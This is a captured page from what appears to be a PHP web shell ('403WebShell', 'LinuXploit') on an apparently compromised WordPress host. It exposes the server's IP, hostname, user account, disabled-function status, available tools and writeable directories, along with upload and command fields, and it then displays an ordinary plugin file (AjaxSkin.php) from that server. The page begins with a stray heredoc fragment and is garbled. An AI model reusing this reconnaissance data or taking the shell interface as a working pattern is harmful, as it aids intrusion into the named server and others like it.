$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Admin/Upgrader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Admin/Upgrader/AjaxSkin.php
<?php
/**
 * AJAX Upgrader Skin for modal output.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Admin\Upgrader;

use WP_Upgrader_Skin;
use WP_Error;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Collects upgrader output for AJAX modal display.
 */
class AjaxSkin extends WP_Upgrader_Skin {

	/**
	 * Collected error messages.
	 *
	 * @var array<int, string>
	 */
	public array $errors = array();

	/**
	 * Collected step messages.
	 *
	 * @var array<int, array<string, string>>
	 */
	public array $messages = array();

	/**
	 * Suppress header output.
	 */
	public function header(): void {}

	/**
	 * Suppress footer output.
	 */
	public function footer(): void {}

	/**
	 * Collect error messages.
	 *
	 * @param string|WP_Error $errors Error data.
	 */
	public function error( $errors ): void {
		if ( is_string( $errors ) ) {
			$this->errors[] = $errors;
		} elseif ( is_wp_error( $errors ) && $errors->has_errors() ) {
			foreach ( $errors->get_error_messages() as $message ) {
				if ( $message ) {
					$this->errors[] = $message;
				}
			}
		}
	}

	/**
	 * Collect feedback messages with type info.
	 *
	 * @param string $feedback Feedback string or key.
	 * @param mixed  ...$args  Optional sprintf arguments.
	 */
	public function feedback( $feedback, ...$args ): void {
		$original_key = $feedback;

		if ( isset( $this->upgrader->strings[ $feedback ] ) ) {
			$feedback = $this->upgrader->strings[ $feedback ];
		}

		if ( strpos( $feedback, '%' ) !== false && $args ) {
			$feedback = vsprintf( $feedback, $args );
		}

		if ( empty( $feedback ) ) {
			return;
		}

		$level = 'info';
		$type  = $this->resolve_type( $original_key, $feedback );

		if ( in_array( $type, array( 'success', 'complete' ), true ) ) {
			$level = 'success';
		}

		$this->messages[] = array(
			'type'    => $type,
			'message' => $feedback,
			'level'   => $level,
		);
	}

	/**
	 * Called before the upgrade process.
	 */
	public function before(): void {
		$this->messages[] = array(
			'type'    => 'start',
			'message' => __( 'Starting process...', 'hellopack-client' ),
			'level'   => 'info',
		);
	}

	/**
	 * Called after the upgrade process.
	 */
	public function after(): void {
		$this->messages[] = array(
			'type'    => 'complete',
			'message' => __( 'Process completed.', 'hellopack-client' ),
			'level'   => 'success',
		);
	}

	/**
	 * Resolve message type from key or content.
	 *
	 * @param string $key      Original feedback key.
	 * @param string $feedback Resolved feedback string.
	 * @return string
	 */
	private function resolve_type( string $key, string $feedback ): string {
		$key_map = array(
			'downloading_package' => 'download',
			'unpack_package'      => 'unpack',
			'installing_package'  => 'install',
			'installing_plugin'   => 'install',
			'remove_old'          => 'cleanup',
			'remove_old_plugin'   => 'cleanup',
		);

		if ( isset( $key_map[ $key ] ) ) {
			return $key_map[ $key ];
		}

		if ( strpos( $key, 'process_success' ) !== false ) {
			return 'success';
		}

		$content_map = array(
			'download'     => 'download',
			'unpack'       => 'unpack',
			'install'      => 'install',
			'remov'        => 'cleanup',
			'delet'        => 'cleanup',
			'successfully' => 'success',
			'complete'     => 'success',
			'activat'      => 'activate',
		);

		$lower = strtolower( $feedback );
		foreach ( $content_map as $needle => $type ) {
			if ( strpos( $lower, $needle ) !== false ) {
				return $type;
			}
		}

		return 'info';
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit